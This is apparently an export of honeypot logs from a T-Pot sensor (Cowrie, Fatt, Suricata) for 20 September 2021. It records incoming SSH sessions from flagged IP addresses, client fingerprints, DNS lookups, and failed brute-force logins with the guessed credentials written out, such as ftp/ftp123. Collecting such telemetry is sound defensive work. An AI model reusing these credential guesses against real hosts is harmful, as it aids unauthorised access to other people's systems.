"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28422	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:41.889504+03	2021-09-20 14:30:02.811554+03	{"_id": "mQbtAnwBvYTbRNuEDy7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [cop/3e4r3e4r] failed", "session": "68326f9ed09c", "@version": "1", "password": "3e4r3e4r", "username": "cop", "timestamp": "2021-09-20T11:17:41.889504Z", "@timestamp": "2021-09-20T11:17:41.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28423	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:42.663575+03	2021-09-20 14:30:02.812556+03	{"_id": "mgbtAnwBvYTbRNuEDy7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9781e7724d13", "@version": "1", "timestamp": "2021-09-20T11:17:42.663575Z", "@timestamp": "2021-09-20T11:17:42.663Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28440	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:43.89234+03	2021-09-20 14:30:02.836523+03	{"_id": "rQbtAnwBvYTbRNuEFy6d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cd0750eb20c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:43.892340Z", "@timestamp": "2021-09-20T11:17:43.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28424	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:17:42.662926+03	2021-09-20 14:30:02.814525+03	{"_id": "owbtAnwBvYTbRNuEEi7U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50924, "dest_port": 22, "timestamp": "2021-09-20T11:17:42.662926", "@timestamp": "2021-09-20T11:17:42.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28425	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:43.248791+03	2021-09-20 14:30:02.815553+03	{"_id": "pwbtAnwBvYTbRNuEEy61", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:50172 (192.168.176.2:22) [session: cd0750eb20c0]", "session": "cd0750eb20c0", "@version": "1", "protocol": "ssh", "src_port": 50172, "dest_port": 22, "timestamp": "2021-09-20T11:17:43.248791Z", "@timestamp": "2021-09-20T11:17:43.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28426	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:45.142825+03	2021-09-20 14:30:02.816553+03	{"_id": "sAbtAnwBvYTbRNuEGy6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cd0750eb20c0", "@version": "1", "timestamp": "2021-09-20T11:17:45.142825Z", "@timestamp": "2021-09-20T11:17:45.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28427	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:47.033404+03	2021-09-20 14:30:02.818553+03	{"_id": "ugbtAnwBvYTbRNuEIy5X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/ftp123] failed", "session": "cd0750eb20c0", "@version": "1", "password": "ftp123", "username": "ftp", "timestamp": "2021-09-20T11:17:47.033404Z", "@timestamp": "2021-09-20T11:17:47.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28428	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:17:47.698393+03	2021-09-20 14:30:02.819554+03	{"_id": "uwbtAnwBvYTbRNuEJS4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8340, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1224185634072601, "@version": "1", "in_iface": "enp5s0", "src_port": 50579, "dest_port": 53, "timestamp": "2021-09-20T11:17:47.698393Z", "@timestamp": "2021-09-20T11:17:47.698Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28451	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:17:41.478654+03	2021-09-20 14:30:02.850525+03	{"_id": "lQbtAnwBvYTbRNuECy7j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a4a6b70f29a6", "@version": "1", "duration": 2.088564872741699, "timestamp": "2021-09-20T11:17:41.478654Z", "@timestamp": "2021-09-20T11:17:41.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28429	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:17:47.699376+03	2021-09-20 14:30:02.821553+03	{"_id": "vAbtAnwBvYTbRNuEJS4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8340, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1579, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1224185634072601, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50579, "timestamp": "2021-09-20T11:17:47.699376Z", "@timestamp": "2021-09-20T11:17:47.699Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28430	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:17:48.167111+03	2021-09-20 14:30:02.822554+03	{"_id": "vQbtAnwBvYTbRNuEJS4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36726, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 213704383433927, "@version": "1", "in_iface": "enp5s0", "src_port": 37504, "dest_port": 53, "timestamp": "2021-09-20T11:17:48.167111Z", "@timestamp": "2021-09-20T11:17:48.167Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28431	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:17:48.168947+03	2021-09-20 14:30:02.823555+03	{"_id": "vgbtAnwBvYTbRNuEJS4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36726, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1578, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 213704383433927, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37504, "timestamp": "2021-09-20T11:17:48.168947Z", "@timestamp": "2021-09-20T11:17:48.168Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28432	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:48.221749+03	2021-09-20 14:30:02.824554+03	{"_id": "vwbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35022, "dest_port": 443, "timestamp": "2021-09-20T11:17:48.221749", "@timestamp": "2021-09-20T11:17:48.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
